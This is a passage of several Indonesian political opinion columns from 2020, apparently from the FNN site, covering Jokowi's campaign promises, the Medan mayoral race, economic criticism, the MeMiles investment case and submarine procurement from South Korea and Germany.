tersebut. Apalagi kalau kita mengutip kata-kata Sri Mulyani yang menanyakan kesiapan Jokowi akan janji kampanyenya. Jawaban Jokowi yang secara enteng mengatakan “kampanye dulu, nanti dipikirkan”. Lebih celaka lagi, janji itu adalah janji yang berkaitan dengan hajat hidup orang banyak. Mengikat secara moral dan etika dalam kehidupan berbangsa dan bernegara. Maka dalam pasal impeachment, hal tersebut termasuk dalam pelanggaran Berat. Pasal 7A UUD 1945 mengatur “Presiden dan/atau Wakil Presiden dapat diberhentikan dalam masa jabatannya oleh MPR atas usul DPR, bila terbukti melakukan pelanggaran hukum berupa pengkhianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya, atau perbuatan tercela maupun bila terbukti tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden.” Perbuatan tercela menyangkut hal yang bersifat norma, moral dan etika fungsional terbuka. Perkembangan terbaru teori etik telah masuk pada etik fungsional terbuka, dimana pejabat publik harus mempertanggungjawabkan secara etik sebagai yang dijelaskan oleh TAP MPR Nomor VI/MPR/2001 tentang etika kehidupan berbangsa dan bernegara. Dalam point bab II angka 2 jelas mensyaratkan “pemerintahan yang terbuka, bertanggungjawab, jujur, melayani dan lain-lain. Siap mundur apabila dirinya telah melanggar kaidah atau sistem nilai ataupun dianggap tidak mampu memenuhi amanah masyarakat, bangsa dan negara” Dari rumusan TAP MPR itu, jelas bahwa tidak jujur, melanggar sistem nilai dan tidak mampu memenuhi amanah adalah merupakan perbuatan yang melanggar norma, kaidah dan nilai yang hidup dalam masyarakat. Karena sifat dan karakter seperti itu tidak mencirikan sifat dan karakter Pancasilais yang menjadi fundamen utama berbangsa dan bernegara. melihat antara janji dan realitas yang sesungguhnya sangat tidak sinkron. Banyak yang dijanjikan oleh Jokowi sebagaimana yang dituliskan ini yang tidak ada dalam realitas. Sehingga menjadi janji palsu yang jelas melanggar ketentuan norma dan kaidah berbangsa dan bernegara. Penulis adalah Praktisi Hukum dan Dosen Hukum, Sospol Univ. Muhammadiyah Jakarta

Muncul Kandidat Independen, Pilwalkot Medan Bakal Seru

By Asyari Usman Jakarta, FNN - Medan memang bukan Jakarta. Tetapi, dari aspek politik, setelah Jakarta jelas Medan di urutan kedua. Medan menjadi barometer kecerdasan umat Islam. Tetapi, bisa pula menjadi ‘argometer’ bagi kelompok-kelompok oportunis. Kalau Anda naik taksi non-online, tentu ‘argometer’ akan Anda tengok dulu sebelum mengeluarkan dompet. Setelah itu, barulah Anda buat transaksi dengan Pak Supir. Di pilkada mana pun juga di Indonesia ini, selalu ada tawaran ‘jasa dukungan’ yang memakai ‘argometer’. Tak terkecuali di Medan. Baik itu pilkada yang akan tayang bulan September-Oktober 2020 maupun pilkada-pilkada masa lalu. Umat sudah sangat muak dengan praktik tercela dalam pilkada Medan. Umat menjadi apatis. Sampai-sampai jumlah ‘turnout’ (yang datang ke TPS) di dua pilkada yang lalu (tingkat provinsi dan kota) turun ke level yang sangat rendah. Hanya 26% umat yang sudi mencoblos. Fakta ini sangat berbahaya bagi demokrasi dan legitimasi kepala daerah. Sekarang, umat tak sabar dengan transaksi ‘jasa dukungan’. Umat ingin agar para rentenir dukungan politik itu segera dilenyapkan. Hanya dengan cara ini kepercayaan umat terhadap sistem politik bisa dipulihkan. Itulah sebabnya, koalisi keumatan Medan akan memajukan calon independen. Sebagai alternatif untuk cara-cara kotor yang merajalela selama ini. Itulah yang sedang diusahakan oleh para aktivis dan pimpinan berbagai ormas di Medan. Berbagai sumber koalisi keumatan Medan menyebutkan, mereka akan mengajukan dua tokoh umat yang memiliki integritas, kapabilitas, dan kapasitas yang lebih dari keperluan untuk mengubah Medan menjadi kota yang bermartabat dan berkeadilan. Dua tokoh umat yang terkerucut dari sekian banyak nama-nama “heavy weight” adalah Ustad H Azwir Ibnu Aziz dan Ustad Latif Khan. Tidak ada yang meragukan integritas Ustad Azwir. Dan tidak ada pula menyangsikan kapabilitas Ustad Latif Khan. Uztad Azwir adalah sosok yang ‘humble’ tetapi tegas dalam hal penegakan hukum dan keadilan. Ustad Latif Khan sangat memahami hiruk-pikuk perpolitikan. Beliau mampu menjelaskan dengan runtun dan detail mengenai apa-apa yang harus dilakukan untuk memperbaiki suasana ekonomi-sosial-politik kota Medan. Sekarang ini, kita semua menyaksikan kasak-kusuk berbagai kelompok yang hanya mengedepankan syahwat kekuasaan. Mereka sangat bernafsu untuk berkuasa di Medan Umat bisa mengamati orang-orang yang ingin masuk dengan misi pribadi. Bukan misi rakyat. Ini tidak boleh dibiarkan. Para relawan koalisi keumatan telah bekerja keras untuk menyukseskan pencalonan Ustad Azwir dan Ustad Latif Khan. Sejauh ini, reaksi umat terhadap kehadiran mereka sebagai kandidat independen sangat positif. Kedua tokoh ini akan mampu membangkitkan semangat perjuangan untuk menyelamatkan kota Medan. Tantangan yang dihadapi pastilah berat. Tetapi, dengan tekad keras dan ketawakkalan kepada Allah SWT, tidaklah berlebihan kalau pasangan ini nantinya akan merebut simpati umat. Para pengamat politik di sini berpendapat, kehadiran kandidat independen pasti akan menjadi alternatif yang mampu mendorong umat untuk datang ke bilik-bilik suara. Karena itu, kemunculan Ustad Azwir Ibnu Aziz yang berpasangan dengan Ustad Latif Khan akan membuat pemilihan wali kota Medan menjadi seru.[] 5 Februari 2020 (Penulis adalah waratwan senior)

Indonesia Pasca Jokowi, Belajar dari '98

Oleh Edy Mulyadi Jakarta, FNN - Ekonomi Indonesia adalah ekonomi gelembung. Ekonomi yang dibangun dengan gelembung-gelembung persepsi, doping, dan artifisial. Angka pertumbuhan yang mandeg di 5% ternyata buah dari persepsi yang dibangun dengan public relations (PR) dan perilaku tak elok dalam berbisnis. Terungkapnya skandal mega korupsi Jiwasraya, Asabri, Garuda, Bumiputera, dan sederet BUMN raksasa lain adalah beberapa contoh saja dari gelembung-gelembung ekonomi. Pada 1998 Indonesia diterjang krisis karena masalah kredit properti yang ugal-ugalan dan berujung dengan tumbangnya perbankan nasional. Kali ini, kontributor utama krisis adalah amburadulnya kinerja lembaga keuangan nonbank (LKNB) seperti asuransi, leasing, dan perusahaan-perusahaan fintech. Hal ini diperparah lagi dengan pengawasan Otoritas Jasa Keuangan (OJK) yang superjeblok. Skandal megakorupsi Jiwasraya yang merugikan negara Rp13 triliun dan Asabri Rp10 triliun, cuma puncak gunung es belaka. Masih banyak skandal lain di lingkungan BUMN yang jumlahnya ditaksir sekitar Rp150 triliun. Mereka kini antre, bakal terkuak satu per satu. Contoh ekonomi gelembung lain yang sering dibanggakan pemerintah adalah satabilnya nilai tukar rupiah. Padahal, penguatan rupiah terjadi karena doping yang dananya berasal dari utang. Bank Indonesia (BI) rajin mengintervensi pasar agar rupiah tetap bergerak di bawah Rp14.000/U$S. Padahal salah satu biang kerok terjadinya defisit transaksi berjalan ( Current Account Deficit/CAD) adalah neraca perdagangan yang njomplang­. Nilai tukar rupiah yang kuat akan menyulitkan ekspor, karena harga komoditas di pasar internasional jadi mahal. Tapi begitulah, rezim lebih mementingkan gengsi nilai tukar rupiah macho dan stabil ketimbang memperbaiki fundamental ekonomi. Singkat kata, pembangunan kita dilakukan berbasis utang dan utang. Menjaring utang bilateral maupun dari lembaga-lembaga multilateral sudah jadi hobi Sri. Dia bahkan tidak segan-segan mengobral bunga jauh di atas Vietnam, Thailand, dan Filipina yang rating mereka lebih rendah daripada Indonesia. Begitu juga dia sibuk menerbitkan surat utang negara (SUN) berbunga supertinggi dan menyebabkan kekeringan likuiditas. Ambyar Ketergantungan yang keterlaluan terhadap utang membuat jumlahnya kian menggunung. Angkanya kini telah tembus Rp5.000 triliun. Ngeri! Pembangunan bebasis utang juga membuat ekonomi tidak bisa lebih dari 5% karena akan terjadi overheating. Kalau sudah begitu, pemerintah buru-buru menginjak pedal rem agar ekonomi tidak ‘terbakar’. Bahkan hari ini (Rabu, 5 Februari 2020) Kepala Badan Pusat Statistik (BPS) mengumumkan pertumbuhan ekonomi Indonesia kuartal IV-2019 hanya 4,97%. Ambyar sudah angka keramat 5% yang selama ini mati-matian pemerintah jaga. Di sini, sekali lagi, jadi menjadi bukti betapa kemampuan para menteri ekonomi Presiden Joko Widodo benar-benar di bawah banderol. Sudah tumbuh karena gelembung dan artifisial, angkanya pun hanya berkutat di 5%. Bahkan kini lebih rendah lagi pula! Status Menkeu terbaik yang disandang Sri terbukti sekadar buah kecanggihan PR dan hadiah dari pihak-pihak yang sangat diuntungkan dengan utang berbunga supertinggi yang diterbitkannya. Sejatinya dosa rezim ini bukan hanya berbohong kepada rakyat dengan angka-angka pertumbuhan imitasi. Penguasa juga terus membebani rakyat dengan aneka pajak. Pencabutan subsidi dan belanja sosial di APBN mengakibatkan harga-harga yang melambung tinggi. Rakyat sudah berusaha mati-matian menyiasati beratnya beban hidup sambil terus menabung dan memperbanyak stok kesabaran. Namun sudah menjadi sunnatullah, ban yang terus-menerus dipompa pada akhirnya bakal meledak juga. Begawan ekonomi Rizal Ramli menyebut, tidak diperlukan kampak atau golok untuk meledakkan gelembung. Cuma dibutuhkan peniti. Perlu peniti-peniti kebenaran dan fakta real agar gelembung-gelembung itu meledak. Sampai di sini saya 100% sepakat. Yang kini dibutuhkan adalah tampilnya orang-orang baik, lurus, berakal sehat, dan paham masalah. Mereka cuma perlu terus berbunyi, menyuarakan kebenaran. Orang-orang baik ini harus menyampaikan kepada publik, bahwa telah terjadi kebohongan dan ketidakadilan yang dilakukan penguasa kepada rakyatnya sendiri. Bahwa negeri ini sedang tidak baik-baik saja. Bahwa terjadi salah urus negara di tangan para pejabat publik yang khianat. Bahwa bukan saja terjadi bancakan, tapi penjarahan kekayaan negara oleh tangan-tangan kotor para penjahat melalui persekongkolan yang dibalut seabreg undang undang dan peraturan. Sayangnya, di tengah kezaliman dan ketidakadilan merajalela seperti sekarang, orang-orang baik dan pintar justru tiarap. Mereka diam seribu bahasa. Mingkem. Bisu. Orang-orang baik dan lurus itu merasa jerih dengan bermacam risiko yang belum-belum sudah bermain di khayal mereka. Intimidasi, persekusi, penjara, dan kematian adalah rangkaian ketakutan yang menari-nari dalam benak mereka. Bahwa semua itu bakal saja terjadi, mungkin saja. Inilah yang disebut sebagai risiko perjuangan. Kita tidak boleh jumawa dan sesumbar menyatakan tidak takut dengan bermacam risiko. Itu sombong. Allah tidak suka dengan orang yang sombong. Tapi kalau kita niatkan beribadah dalam menyuarakan kebenaran dan melawan kezaliman, maka Allah Yang Maha Perkasa tentu tidak tinggal diam. Dia akan ikut campur tangan, sehingga bukan mustahil perjuangan akan berujung pada kemenangan dan kemuliaan. Kalau Allah sudah menolong, siapa yang bisa mengalahkan kita? Tugas kita hanya terus berusaha, berdoa, dan bersabar serta istiqomah dalam perjuangan. Kalau pun risiko-risiko seram itu benar-benar datang, Allah pasti telah menyediakan ganjaran yang teramat besar, baik di dunia maupun akhirat. Persiapkan sebaik mungkin Dan, pada akhirnya sunnatullah pun terjadi. Ketidakadilan dan kebohongan akan membuat ban meledak. Rezim tumbang. Tapi, setelah itu apa? Kali ini kita harus cerdas dan cermat. Berbekal pengalaman 1998, ketika pak Harto jatuh, gerbong reformasi telah dibajak oleh para pencoleng yang sebelumnya ada di lingkar dalam kekuasaan. Mereka berganti casing , naik ke gerbong bahkan lokomotif reformasi. Orang-orang ini lalu berteriak paling lantang tentang reformasi dan pemberantasan korupsi. Hasilnya, kendati sudah berlalu lebih dari 20 tahun, reformasi tidak membuahkan kesejahteraan rakyat, kecuali hanya bagi segilintir elit culas dan laknat. Peran sebagai pendorong gerbong reformasi pada 1998 harus dijadikan sebagai pengalaman penting dan teramat mahal. Karenanya, para penggerak perubahan dan pejuang kebenaran harus menyiapkan segala sesuatunya pasca rezim tumbang. Tidak boleh lagi orang-orang baik dan berani itu hanya sibuk berteriak di jalanan, tanpa menyiapkan segala sesuatunya untuk menyongsong Indonesia lebih baik. Langkah penting dan awal yang harus disiapkan adalah pemilihan presiden ulang. Kali ini Pilpres harus benar-benar steril dari campur tangan, apalagi dominasi partai. Pasalnya, di tangan para oportunis, partai justru menjadi bagian dan sumber masalah. Korupsi gila-gilaan banyak dilakukan orang partai, baik yang ada di DPR/DPRD maupun di kursi-kursi eksekutif, bahkan yudikatif! Buang jauh-jauh mantra presidential threshold (PT). PT terbukti telah menjadi pintu gerbang masuk dan langgengnya kekuasaan oligarkis. Biarkan semua putra terbaik bangsa mengajukan dirinya sebagai calon pemimpin. Jangan takut kalau nanti akan muncul banyak Capres. Silakan saja. Toh pada akhirnya rakyat yang akan menentukan siapa yang terbaik sebagai pemimpin bangsa pada putaran kedua. Pilpres yang steril dari hegemoni oligarki akan melahirkan pemimpin yang mumpuni. Pemimpin yang berani, punya kapasitas, kapabililtas, dan berintegritas. Pada akhirnya, Indonesia akan lahir sebagai negara berdaulat, maju, dan rakyatnya sejahtera. Dan, yang lebih penting daripada semua itu, rahmat dan berkah Allah akan melimpahi negeri. Semoga. Aamiin. [*] Jakarta, 5 Februari 2020 Edy Mulyadi, wartawan senior

“Salah Kaprah” Bila Polda Jatim Salahkan Member MeMiles

By Dr. Margarito Kamis Jakarta, FNN - Mengejutkan, itulah kata yang tepat digunakan untuk menggambarkan sikap orang-orang yang menamakan dirinya sebagai member menghadapi kasus MeMiles. Tidak sembunyi-sembunyi seperti halnya Harun Masiku, tersangka dalam kasus suap terhadap seorang Komisioner KPU. Mereka member MeMiles, tentu saja tak semuanya, malah mendatangi Kepolisian Daerah (Polda) Jawa Timur (Jatim). Mereka, seperti yang dilansir CNNIndonesia, memprotes tindakan penyidikan yang dilakukan penyidik Kriminal Khusus (Krimsus) Polda Jatim atas kasus MeMiles. Sedikitnya 25 member MeMiles asal DKI dan bekasi mendatangi Markas Polda Jatim. Mereka perotes langkah Kepolisian Daerah Polda Jatim yang membekukan aplikasi investasi Milik PT Kam and Kam tersebut. Iksan (38) salah seorang member MeMiles, mengatakan kedatangannya sebagai bentuk keprihatinan atas penahanan pendiri MeMiles yang juga Direktur PT and Kam, Kamal Trachan (47). Iksan berharap Polisi menghentikan penyidikan dan meminta akses Memiles kembali dibuka. Menurutnya, polisi seharusnya menindak oknum atau orang yang memang bersalah. Jangan malah membekukan aplikasinya. Dalam penyidikan kasus ini, penyidik telah menyita 18 unit mobil, dua sepeda motor, puluhan barang elektronik dan beberapa asset berharga lainnya (CNNIndonesia, 15/1/2020). MeMiles mengaku memadukan tiga jenis bisnis. Menurut laman resmi mereka, yaitu advertising, market place dan traveling. Mereka “menjual” (tanda petik dari saya) slot kepada pengguna aplikasi dengan cara melakukan top up mulai dari Rp 50 ribu hingga Rp 200 ribu. Dalam praktiknya bukan slot iklan yang membuat member tergiur. Melainkan iming-iming bonus dari top up tersebut. Mulai dari ponsel, motor, hingga mobil. Angkanya bisa berkali-kali lipat dari jumlah setoran, dan sangat tidak masuk akal (Tirto. Co.id, 16 Januari 2020). Titian Terjal Menariknya menurut Ashary, Wakil Ketua Komunitas Member MeMiles (KMM) merupakan aplikasi periklanan yang manarik uang dengan batas waktu tertentu. Berkat pemasangan iklan melalui aplikasi tersebut, pihaknya merasa diuntungkan, lantaran memancing pelanggan membeli produknya. MeMiles, kata Ashary selanjutnya, adalah aplikasi periklanan untuk bisa pasang iklan dengan cara beli slot iklan dengan batas waktu tertentu. Jika tidak menggunakan slot iklannya bisa hangus. Intan Kemala, Ketua Komunitas Member (KKM), dengan nada yang sama, disisi lain menyatakan selama ini pihaknya tidak merasa dirugikan dengan aplikasi MeMiles. Dirinya dan puluhan ribuan anggota lain, justru mendapat reward atau hadiah dari MeMiles. Kami ini bukan korban. Kami justru malah diuntungkan. Makanya kami butuh Memiles diaktifkan lagi (Jawa Pos.com, 11/1/2020). Kenyataan yang disodorkan Anshary dan Intan di atas menjadi alasan yang menghalangi jalan menuju tuduhan investasi bodong, atau investasi tipu-tipu. Beralasan yang sangat jelas dan jelas. Sayangnya, dalam kenyataan penyidik Krimsus Polda Jatim menembakan pasal 24 jo pasal 106 dan atau pasal 9 jo pasal 105 UU Nomor 7 Tahun 2014 Tentang Perdagangan. Pasal 46 ayat (1) dan ayat (2) jo pasal 6 ayat (1) UU Nomor 10 Tahun 1998 Tentang Perubahan atas UU Nomor 7 tahun 1992 Tentang Perbankan muncul sebagai peluru cadangan. Peluru pertama mengatur perdagangan tanpa izin. Ini berbeda jauh dengan peluru kedua. Sebab peluru kedua mengatur perdagangan dengan “skema piramida ponzi.” Tetapi kedua peluru ini, dengan semua argumen hukum yang tersedia memiliki kesamaan elementer, disamping satu perbedaan yang juga elementer. Perihal peluru perbankan, mustahil bisa berfungsi. Peluru pertama dan kedua sama-sama menempatkan “pelaku usaha” sebagai sasaran tembakan. Hanya itu. Tidak lebih dari itu. Tetapi peluru pertama menempatkan syarat “izin usaha.” Peluru kedua menempatkan syarat “skema piramida.” Pada titik ini, penyidik dipaksa memasuki ruang interpretasi, siapakah yang memenuhi kualifikasi sebagai pelaku usaha? Pemilik perusahaan dan menejemen? Member MeMiles juga? Jumlah member sebanyak kurang lebih 270-an ribu atau berapapun itu, jelas bukan masalah. Masalahnya terletak pada “member” dalam kenyataannya “membeli” slot iklan. Slot disediakan oleh PT Kam and Kam. Itu masalahnya. Pembeli mau dikualifikasi sama dengan pelaku usaha? Bila ya, dimanakah letak kesamaannya? Masalahnya sebab dan substansi antara pengusaha dengan pembeli? Membeli slot iklan. Lalu pembeli mengiklankan barang milik pembeli pada slot itu, dan barang yang diiklankan itu dibeli orang. Siapapun mereka itu, mau dikonstruksi sebagai sebab atau keadaan hukum yang mengubah status hukum pembeli menjadi pengusaha? Penjelasan pasal 9 mengenai “skema piramida” dimaksudkan sebagai usaha bukan dari hasil kegiatan penjualan barang. Kegiatan usaha itu memanfaatkan peluang keikutsertaan mitra usaha untuk memperoleh imbalan atau pendapatan, terutama dari biaya partisipasi orang lain yang bergabung kemudian atau setelah bergabungnya mitra usaha tersebut. Kombinasi unsur normatif pasal 9 dan penjelasannya, membawa siapapun pada satu titik. Titik itu adalah kedua pasal yang digunakan penyidik secara exprecis verbis menempatkan pengusaha, bukan pembeli-member- sebagai subyek. Orang yang bertanggung jawab. Pembelian adalah tindakan hukum perdata. Ketika barang atau jasa yang dibeli telah diserahkan, maka berakhirlah hubungan perdata antar pembeli dan penjual. Dalam hal terdapat cacat tersembunyi pada barang atau jasa yang dibeli, maka soalnya bergeser ke pidana. Bila penjualnya menolak bertanggung jawab atas cacat tersembunyi pada barang yang dijual itu, maka soalnya menajdi pidana. Siapa yang bertanggung jawab? Pasti Penjual. Bukan pembeli atau member MeMiles. Dititik ini muncul masalah lain. Masalahnya terpusat pada tindakan penyitaan terhadap mobil, dan barang lainnya dari member yang top up. Apakah hadiah top up itu beralasan disita penyidik Krimsus Polda Jatim? Bila ya, soal berikut yang muncul adalah apakah umroh juga bisa disita? Andai mobil hadiah itu dikonstruksi sebagai bukti-fakta adanya usaha MeMiles, yang saat ini dinyatakan illegal, maka harus diakui dengan tindakan itu memiliki alasan hukum? Sebatas itukah. Tak lebih dari itu? Mengapa member-member itu, sejauh ini, terlihat tidak tahu bahwa MeMiles merupakan usaha illegal. Ketidaktahuan itu menjadi alasan hukum hilangnya tanggung jawab hukum mereka. Tetapi bila mobil, hand phone dan lainnya tetap dikualifikasi barang illegal, karena usaha MeMiles dianggap illegal, sehingga top up dengan sendirinya juga illegal. Masalahnya apa pada kualifikasi hukum atas uang member yang top up itu? Illegal jugakah? Bila dinyatakan illegal, apa konstruksi hukumnya? Hukum positif tak cukup tersedia untuk diandalkan. Menariknya aplikasi MeMiles tidak disita. Dirkrimsus Polda Jatim cukup tegas dalam soal ini. Kita, kata Dirkrimsus Polda Jatim, nda menutup. Kita melakukan penyidikan, dia enggak bayar (server) ya matilah berarti. Kalau mau jalan terus, jalan terus aja, kalau bayar. Tetapi saya enggak menutup, saya memblokir rekening PT Kam and Kam (CNNIndonesia, 15/1/2020). Mengapa MeMiles tidak disita penyidik? Apa yang menghalangi penyidik menyita Memiles? Bukankah aplikasi MeMiles itulah yang memicu masalah ini? Bukan MeMiles yang menjadi bagian integral dari barang bukti? Itu satu soal. Soal kedua, uang yang disita. Soalnya apakah uang yang disita dari bank atau disita dirumah atau dikantor PT Kam and Kam? Andai disita di bank, maka tindakan penyitaan yang disediakan KUHAP adalah tidak lebih dari memblokir rekening. Memblokir rekening adalah kerangka kerja KUHAP untuk penyitaan barang bukti yang tersimpan pada rekening Bank. Tidak lebih dari itu. Menariknya lagi, uang yang disita itu diperlihatkan kepada publik. Jumlahnya sangat banyak. Apapun itu, sekali lagi, lebel penipuan terlihat tak lagi tepat disandangkan pada MeMiles. Ini nalar dari pasal yang diterapkan penyidik. Berusaha tanpa izin dan skema piramida ponzi bukan penipuan. Apalagi tak ada yang merasa dirugikan, atau tertipu. Bakal tertipu itu, pasti tidak sama dengan tertipu. Nuasa ponzi yang menggila mengiringi kasus ini dalam nada “berpotensi penipuan” sungguh jauh dari yang dapat dibayangkan. Potensi penipuan pasti bukanlah penipuan menurut bahasa hukum. Usaha tanpa izin, untuk alasan hukum, pasti juga tak dapat dianalogikan dengan penipuan. Berada di titian terjal terlihat sedang melilit gerak penuntasan kasus ini. Beberapa dimensi elementernya memiliki daya mengelincirkan. Dimensi status uang member, salah satunya, bisa menggelincirkan. Tetapi apapun itu, klaim ilmu hukum mencegah munculnya tesis titian terjal itu meliputi dan mencakup member. (Bersambung) Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Kapal Selam Korsel (3): Jerman Siap Bantu “Transfer of Technology” Kapal Selam

Oleh Mochamad Toha Jakarta, FNN - Perjanjian alih teknologi yang lebih dikenal dengan sebutan Transfer of Technology (TOT) dari Korea Selatan tidak mungkin bisa dilakukan. Karena, Korsel sendiri baru belajar untuk membuat kapal selam dari Jerman. Ketika pengadaan kontrak TOT dengan Korsel yang diagendakan Kemenhan, menurut Dipl. Ing. Dipl. Wirtsch. Ing. Franklin M Tambunan, ia ikut hadir dalam rapat yang diadakan di PT PAL pada 2012 itu. Persentase program yang dipaparkan oleh Korsel adalah program pendidikan yang Franklin dan timnya sampaikan pada 1994 di Jerman. Dalam rapat tersebut Franklin sangat tegas mengatakan kepada presenter dari Korsel bahwa Korsel meng-copy konsepnya, tapi tanpa bukti pengalaman mendidik. “Saya tegaskan untuk tidak membohongi dan membodohi bangsa Indonesia,” tegasnya. Menurut Franklin, Korsel belum pernah tahu dan berpengalaman bagaimana mendidik negara asing untuk membuat kapal selam. Ia dengan Jerman sepaham mengatakan bahwa 10-15 tahun ke depan bangsa Indonesia tidak akan mampu mandiri membuat kapal selam sendiri. Fakta yang terjadi di lapangan mengatakan bahwa sudah sejumlah anak bangsa Indonesia dikirim ke Korsel ke galangan kapal Daewoo. ”Mereka pulang dengan tangan kosong tanpa pendidikan yang diharapkan,” ungkap Franklin. “Fakta ini disampaikan oleh beberapa anak bangsa yang berbicara kepada saya,” lanjutnya. Setidaknya ada dua latar belakangnya mengapa anak-anak bangsa Indonesia ini tidak bisa mendapatkan pendidikan yang diharapkan. Pertama, Korsel itu baru memiliki teknologi pembuatan kapal selam yang berbobot 1400 ton. Artinya, Korsel tidak akan mentransfer sesuatu yang baru kepada siapapun dalam hal ini ke Indonesia. Karena di pasaran pembuatan kapal selam ke depan ini Indonesia dengan sendirinya menjadi negara pesaing/kompetitor Korsel ke depan. Kedua, Korsel bukan negara pendidik pembuatan kapal selam karena Korsel masih murid dari negara Jerman dalam pembuatan kapal selam. Sehingga, pendidikan tersebut tidak akan pernah ditransfer ke bangsa Indonesia. “Pendidikan TOT dalam konteks lainnya adalah On The Job Training (OJT-Training). Belajar sambil bekerja. Hal ini bangsa Indonesia tidak akan pernah menerima pendidikan tersebut,” ungkap Franklin. Menurutnya, pada 13 Januari 2020 malam, Franklin ditelepon oleh perusahaan Jerman pembuat kapal selam tipe 214 dan berunding tentang rencana pembuatan kapal selam di Indonesia. “Jerman memastikan berulang kali kepada saya bahwa Jerman akan memberikan pendidikan TOT bilamana negara Indonesia membeli kapal selam dari Jerman,” tegas Franklin. Karena itulah, ia meminta Pembuatan/Pengadaaan kapal selam dengan Korsel harus segera dihentikan. Pembohongan rakyat Indonesia dengan memberikan kapal selam yang bertipe prototype, yang tidak teruji dan tidak layak pakai sangat membahayakan bangsa Indonesia. “Kapal selam buatan Korsel bila dioperasikan maka keberadaan crew sangat terancam,” ujar Franklin. Jadi, pengadaan kapal selam yang tidak layak pakai ini didanai oleh bangsa Indonesia untuk mengembangkan teknologi Korsel. Sedangkan pengembangan teknologi kapal selam untuk Indonesia tidak mendapat dukungan penuh karena dana yang tidak tersedia. “Ini adalah pemborosan uang bangsa dan rakyat Indonesia serta pembohongan bangsa yang harus segera dihentikan,” tegas Franklin dalam suratnya kepada Presiden Joko Widodo yang entah sudah sampai ke tangan Jokowi atau belum. Ia menyarankan, kelanjutan dari perencanaan ke depan tentang pengadaan dan pemeliharaan kapal selam untuk negara Indonesia hendaknya dikerjasamakan dengan negara yang bisa dan mampu memberikan kapal selam terbaik. “Dan juga mampu memberikan pendidikan TOT yang bisa memampukan bangsa kita dalam waktu yang jelas dan terencana. Saya secara pribadi menyarankan ke Jerman yang membuat 2 kapal selam untuk Indonesia: Cakra dan Nanggala,” papar Franklin. Selama ini Indonesia sudah memiliki 2 kapal selam buatan negara Jerman oleh HDW di Kiel yaitu Cakra dan Nanggala. Dalam perbincangan dan pengalamannya dengan Jerman setiap pertemuan di Jakarta atau di Jerman, mereka siap membantu,” lanjutnya. Jerman siap membantu dalam dua tipe yaitu tipe 209 yang masih menggunakan tenaga Diesel dan tipe 214 tenaga Hybrid. Negara Jerman sudah terbukti berpengalaman dengan kelayakan kapal selam buatan mereka dengan standard internasional. Pendidikan TOT yang berkelas untuk tipe 209 tenaga Diesel akan diberikan oleh Jerman 100 persen. TOT untuk tipe 214 dengan tenaga Hybrid, juga bersedia dengan TOT yang dalam hal ini kondisinya harus didiskusikan mana dan apa yang akan ditransferkan. “TKSM siap berdialog dan membantu Indonesia,” tulis Franklin dalam suratnya tertanggal Jakarta, 13 Januari 2020. Spare parts dan after sales dengan pasti Jerman akan menyediakannya dengan jangka kurang lebih 25 tahun ke depan sesuai aturan yang berlaku di Jerman. Melihat ke depan, Indonesia akan memiliki 5 buah kapal selam: 2 kapal selam buatan Jerman dan 3 kapal selam buatan Korsel. Sesuai dengan jadwal maintenance, repair dan overhaul (MRO) yakni berjadwal tiap tahun maintenance, 2-3 tahun checks for repair dan overhaul. Sarannya adalah agar juga bangsa Indonesia dididik untuk memaintain, repair dan overhaul kapal selam ini ke depan nanti. Pekerjaan MRO ini tidak boleh diabaikan begitu saja untuk menghindari kapal selam ini kembali di bawa ke negara pembuatnya. Selanjutnya jika bangsa Indonesia mampu MRO, maka kita juga bisa ikut bersaing di market internasional karena ada lebih dari 160 kapal selam tipe 209 buatan Jerman digunakan oleh beberapa negara yang bisa kita tawarkan jasa MRO tersebut. “Saran penutup tulisan saya, NKRI merupakan negara kepulauan (archipelagic state) terbesar di dunia yang mempunyai 17.504 pulau, panjang garis pantai 81.000 km dengan luas perairan 5,8 juta km2,” kata Franklin. Kapal selam tipe 209 adalah teknologi yang sudah tua walau masih baik dan canggih. Tapi, berdasarkan dengan luasnya perairan NKRI sudah membutuhkan kapal selam yang mampu menyelam lebih lama dari tipe 209. Kapal selam tipe 214 dengan tenaga Hybrid adalah kapal selam yang mampu, dilengkapi dengan sistem pendorongan Fuel Cell (Air Independent Propulsion/AIP) dan sewaco yang lengkap (Cilyndrical Array Sonar, Passive Ranging Sonar, Flank Array Sonar, Cilyndrical Transducer Array, Towed Array Sonar, Intercept Array Sonar, Radar, ESM dan Optronic). Waktu/endurance menyelam hingga 80 hari menggunakan teknologi Hybrid atau lebih sedangkan tipe 209 menggunakan Diesel hanya mampu hingga 45 hari saja. Kemampuan bateri kapal selam sangat menentukan pada saat operasional menyelam. Ia menyarankan kapal selam tipe 214 sistem AIP sebagai penerus dan pengganti generasi kapal selam tipe 209 dalam pengadaan berikutnya. Pada saat kunjungan Menhan Prabowo Subianto ke UNHAN menyampaikan keinginannya untuk memiliki kapal selam tipe 214 ini. “Demikian penyampaian kerisauan dan pemahaman serta saran pribadi saya kepada bapak Presiden dan berharap menghentikan kerja sama dengan Korsel dan mengadakan hubungan kerja sama pembuatan kapal selam ke negara Jerman ke depan nanti,” lanjutnya. “Dan, saya bersedia membantu bapak dan bangsa Indonesia dalam merealisasikan rencana-rencana ke depan yang berkaitan khususnya dengan kapal selam, tapi juga dengan hal-hal yang dibutuhkan dalam bidang pertahanan,” kata Franklin. (Bersambung) Penulis wartawan senior.

Sri Mulyani dan Janji Asal Janji Jokowi

By Dr. Syahganda Nainggolan Jakarta, FNN - Berita mengejutkan hari-hari ini adalah Sri Mulyani menyatakan janji kampanye Jokowi tentang pemberian uang pengangguran. Janji yang didengungkan Jokowi tempo hari adalah janji omong kosong. Apakah janji omong kosong itu? Janji omong kosong adalah janji yang dibuat Jokowi hanya untuk kepentingan kampanye alias memberi harapan palsu pada rakyat. Memberikan harapan palsu, yang kata anak melinial disebut “PHP”. Karena kemungkinan untuk merealisasikan janji-janji itu jauh dari kenyataan. Jauh dari kenyataan karena Jokowi menyadari bahwa tidak ada kemampuan untuk merealisasikan, khususnya pendanaan, bagi perealisasian janji itu. Lalu apa itu janji palsu? Janji palsu adalah janji yang tidak direalisasikan Jokowi. Jika sebuah janji direalisasikan, tapi tidak berhasil, maka itu bukan janji palsu. Namun, jika sejak awal janji itu sekedar pencipta harapan bagi rakyat, tanpa mungkin merealisasikannya, maka janji itu sejak awal sudah palsu. Lalu apakah janji Jokowi tentang pra kerja itu janji palsu? Janji Jokowi pemberian kartu pra kerja adalah satu dari tiga kartu yang dijanjikan Jokowi ketika 